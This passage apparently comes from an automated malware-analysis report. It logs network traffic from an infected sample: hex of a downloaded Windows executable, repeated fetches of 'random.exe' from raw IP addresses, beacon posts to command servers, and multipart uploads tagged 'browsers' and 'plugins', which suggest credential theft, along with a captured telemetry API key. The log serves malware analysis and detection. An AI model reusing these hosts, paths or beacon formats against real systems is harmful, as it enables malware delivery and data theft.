00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6a 77 61 73 65 79 6d 67 00 20 2b 00 00 a0 00 00 00 14 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 65 6b 73 72 72 6d 76 00 20 00 00 00 c0 2b 00 00 04 00 00 00 4e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 52 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 03:08:56 GMTContent-Type: application/octet-streamContent-Length: 2847744Last-Modified: Wed, 20 Nov 2024 02:17:05 GMTConnection: keep-aliveETag: "673d46a1-2b7400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 1f 25 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6a 77 61 73 65 79 6d 67 00 20 2b 00 00 a0 00 00 00 14 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 65 6b 73 72 72 6d 76 00 20 00 00 00 c0 2b 00 00 04 00 00 00 4e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 52 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 03:09:19 GMTContent-Type: application/octet-streamContent-Length: 2847744Last-Modified: Wed, 20 Nov 2024 02:17:05 GMTConnection: keep-aliveETag: "673d46a1-2b7400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 1f 25 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6a 77 61 73 65 79 6d 67 00 20 2b 00 00 a0 00 00 00 14 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 65 6b 73 72 72 6d 76 00 20 00 00 00 c0 2b 00 00 04 00 00 00 4e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 52 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAEJanOM/f8BEauEo6GRqguxLgAJt0LBh1uWaBD08sPTthnLouxyOeqq8UXC40zxYtXUeuLL3jc98oc4sgTt8Qg5RgpVyPUGOqQCdIMU+jHj5jPNgpCOYLzgjk7/68jQbYqRpL5buJGDaKHJUU4Qzi5sjC1iwUwrkBZLfklCNSWdGai+iykzR0ELnFD4lJb88vZch+TXuihcRzjbZvJG6mFONQPa3ignNQpsSbQgkMM4xuASI/kaIM+YTU5dBQE1SH8k0CwZj5Yc3H1S94NyGSn+DeuALqccEE8gt3uchW9hnkYs9tmlAQt7GBc9BBk/kSpz+oHgE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1732072309569Host: self.events.data.microsoft.comContent-Length: 7975Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 30 37 35 35 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1007559001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 35 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007564001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 35 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007565001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDBAFHJJDAKEBGCFCBGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 33 30 44 38 30 31 37 42 30 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 41 46 48 4a 4a 44 41 4b 45 42 47 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="hwid"430D8017B0AC3343412148------EGDBAFHJJDAKEBGCFCBGContent-Disposition: form-data; name="build"mars------EGDBAFHJJDAKEBGCFCBG--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAFCAKEHDHDHIDHDGDHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 63 33 32 31 62 32 38 31 62 61 32 30 66 31 33 64 64 37 66 34 31 31 37 61 62 30 37 65 62 34 34 33 37 64 34 36 66 37 61 63 39 33 38 33 31 64 38 33 34 39 31 62 31 35 36 39 30 38 37 66 37 32 65 33 32 37 65 36 34 66 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 2d 2d 0d 0a Data Ascii: ------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="token"5bc321b281ba20f13dd7f4117ab07eb4437d46f7ac93831d83491b1569087f72e327e64f------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="message"browsers------CBAFCAKEHDHDHIDHDGDH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCAAEHJDBKJJKFHJEBKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 63 33 32 31 62 32 38 31 62 61 32 30 66 31 33 64 64 37 66 34 31 31 37 61 62 30 37 65 62 34 34 33 37 64 34 36 66 37 61 63 39 33 38 33 31 64 38 33 34 39 31 62 31 35 36 39 30 38 37 66 37 32 65 33 32 37 65 36 34 66 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 41 41 45 48 4a 44 42 4b 4a 4a 4b 46 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="token"5bc321b281ba20f13dd7f4117ab07eb4437d46f7ac93831d83491b1569087f72e327e64f------BFCAAEHJDBKJJKFHJEBKContent-Disposition: form-data; name="message"plugins------BFCAAEHJDBKJJKFHJEBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 63 33 32 31 62 32 38 31 62 61 32 30 66 31 33 64 64 37 66 34 31 31 37 61 62 30 37 65 62 34 34 33 37 64 34 36 66 37 61 63 39 33 38 33 31 64 38 33 34 39 31 62 31 35 36 39 30 38 37 66 37 32 65 33 32 37 65 36 34 66 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="token"5bc321b281ba20f13dd7f4117ab07eb4437d46f7ac93831d83491b1569087f72e327e64f------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="message"fplugins------CFIEHCFIECBGCBFHIJJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGCGCGIEGCBFHIIEBFHost: 185.215.113.206Content-Length: 5823Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 35 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007566001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 465Content-Type: multipart/form-data; boundary=------------------------0PYLDlF3xJh4zkHl4ONzFXData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 30 50 59 4c 44 6c 46 33 78 4a 68 34 7a 6b 48 6c 34 4f 4e 7a 46 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 59 75 74 6f 73 75 79 6f 67 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 6f 78 bd 6e cf d2 85 59 14 3e 18 ef bb be d5 b9 1f 28 60 d0 63 1e 01 c6 b6 2a 0c 7c 4b d0 d3 8d 61 98 7e 48 8a 50 fe 43 7b a5 29 de 2e 14 33 4b 57 1f 40 a1 92 20 56 ae 43 55 3a 81 cb 69 a5 7f 92 4a 07 b0 a4 6f 53 ca 4e 21 67 af 6c 45 8a d2 55 09 98 49 95 e7 56 3c 8c 79 56 83 b8 f4 ff 68 b0 4c 81 43 6e e5 b0 88 bd dd 07 1a 60 d5 a5 02 80 53 89 ed 43 a6 7d 8d 0b 29 91 ea 91 c8 2a 7f 0f 0c b7 91 13 1c ab 5c af 83 e6 e4 23 b7 65 ec 09 50 40 b8 86 b8 ad 7b 27 42 56 f5 c4 99 3b e9 c7 da 79 55 2f df b9 52 aa 19 ce 58 ff 8f a4 90 29 2e 8e ec 2b 10 46 98 8c 50 03 a3 cc cf 15 ee 1c 9f 13 62 2d b3 98 90 b7 ce 1b c7 01 df fd d7 c0 69 c9 a9 1a 37 9d a6 5c 1e 6f 8b 3a 67 0c 95 9e 4d e7 cd d9 eb 1d 54 eb d4 51 ba de c0 53 d0 b0 50 a0 aa c2 b4 71 db 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 30 50 59 4c 44 6c 46 33 78 4a 68 34 7a 6b 48 6c 34 4f 4e 7a 46 58 2d 2d 0d 0a Data Ascii: --------------------------0PYLDlF3xJh4zkHl4ONzFXContent-Disposition: form-data; name="file"; filename="Yutosuyog.bin"Content-Type: application/octet-streamoxnY>(`c\|Ka~HPC{).3KW@ VCU:iJoSN!glEUIV<yVhLCn`SC})\#eP@{'BV;yU/RX).+FPb-i7\o:gMTQSPq--------------------------0PYLDlF3xJh4zkHl4ONzFX--
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 78143Content-Type: multipart/form-data; boundary=------------------------RqkARKMlUvL0L0GSHJlMbgData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 52 71 6b 41 52 4b 4d 6c 55 76 4c 30 4c 30 47 53 48 4a 6c 4d 62 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 46 75 6a 65 63 69 62 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 11 03 d8 b9 2f 5f a0 17 ad 8b 69 33 4a f0 5f bb 51 f5 5c b5 db 82 e5 3e 69 32 d5 0a 9e b0 9a 13 66 5b 4c 7a 38 2a 14 7c 10 5c 97 24 2b 1d 2b e6 3f 49 d2 c8 cb f3 93 16 99 1a bc 37 6f 05 b3 c3 48 b1 9a 54 b7 af 31 e9 0b e2 83 c5 b9 12 d4 ce 26 52 7c 0f 87 83 9a 3a 69 b7 7c d9 8b f5 b7 ef fc 92 1d 8b 47 e8 af 88 1e db 09 9a 2f 9e ee 6c 04 5f 66 42 38 97 8a 2a 47 1c e4 f2 3b 4f ce 6e 0e 73 ce a1 dd d4 41 df 8a 31 f7 43 71 59 8d 2a 44 65 1b 31 ea 8b 5d 86 d4 38 31 dc b8 60 52 a5 e6 aa 0d 9a ba 2c 92 17 f9 92 79 30 97 bb fb c3 95 8c 03 0d 8a 6a 35 10 1b f7 76 95 b0 39 2a ed 0d cb 51 fa 82 d6 81 55 dc 92 fc 94 3c 30 8f da 61 cd 85 5c 8e 51 fe ab 21 7f b3 3c e5 c8 90 55 4b f5 5d b3 bf 3d 3f 39 d3 c7 8a b5 ab ed 18 fe 32 d5 11 5e e3 43 eb 99 dd d6 77 2c 87 1e d9 e8 ab 30 50 6f b8 86 98 fd 1d 8a a0 a2 46 0f c1 ef 34 65 1d 8d c0 b5 c5 24 84 3a 0a 2f 0d 57 c3 37 8c c2 13 fe 3c 51 8f 15 ac 70 98 84 c4 83 bb d1 ed e8 ff a6 66 9e f0 d1 c0 fa f9 4d d3 c3 a4 ff d6 ea 06 c9 d2 ca 29 a4 8a 17 9e d6 cc 65 43 7f 15 75 d4 d8 0c 99 56 14 e5 4e 33 32 62 b1 23 85 b6 63 fe ce 8e b6 a0 f9 58 28 f9 7b f0 ee 11 81 f1 eb b5 03 d5 15 d8 1e da e9 22 48 8a db 48 1c 6b 69 da e4 75 d0 fc f1 50 9a 4f a6 df bf 20 99 cf a5 07 03 1d a7 15 14 c5 ba 73 0c 8c c3 4d 31 91 12 25 07 a5 70 eb 66 7c d7 d5 50 0e 28 c2 0a 00 8c fd 31 6a c5 c7 3e fb 9b 17 8d 76 49 d7 e8 77 39 65 53 59 bb 3d 6e 0e 3a e0 4d 10 09 fd 2c a6 ee 86 16 c5 3e 54 fa 9e 69 97 ec c8 07 68 69 ad 87 50 d5 62 31 27 d0 bd 33 06 8e a9 7c 19 23 f2 5d e1 27 71 d9 f6 7f d0 14 86 db 50 21 82 a4 6a f9 96 b9 28 94 46 bd da 11 64 ac 1c d7 6b d3 3b fc 50 03 a0 0c 1f db 67 a5 b9 55 94 8c a1 47 8e b5 f0 b2 59 79 a0 78 7d 4a 34 2c 03 5a 63 f9 71 a8 ef 5c a8 12 fd 09 7d f9 c6 9a de 01 d2 a6 dd fd ee f7 b6 84 f2 51 db 02 36 77 10 35 28 14 22 89 fc c0 d5 c9 34 f6 c8 e3 bf 49 d1 97 7f 51 bb 60 f4 3f 39 b5 05 45 c9 a9 61 8a c4 47 0c be bb a8 e3 76 5b 97 da 22 32 ea 12 73 b9 ad 83 ed 58 79 1a 67 4b 91 2b 11 77 1e 1f 1a 1c 3c fc 35 7f 46 36 81 3a ee f8 88 f6 32 e3 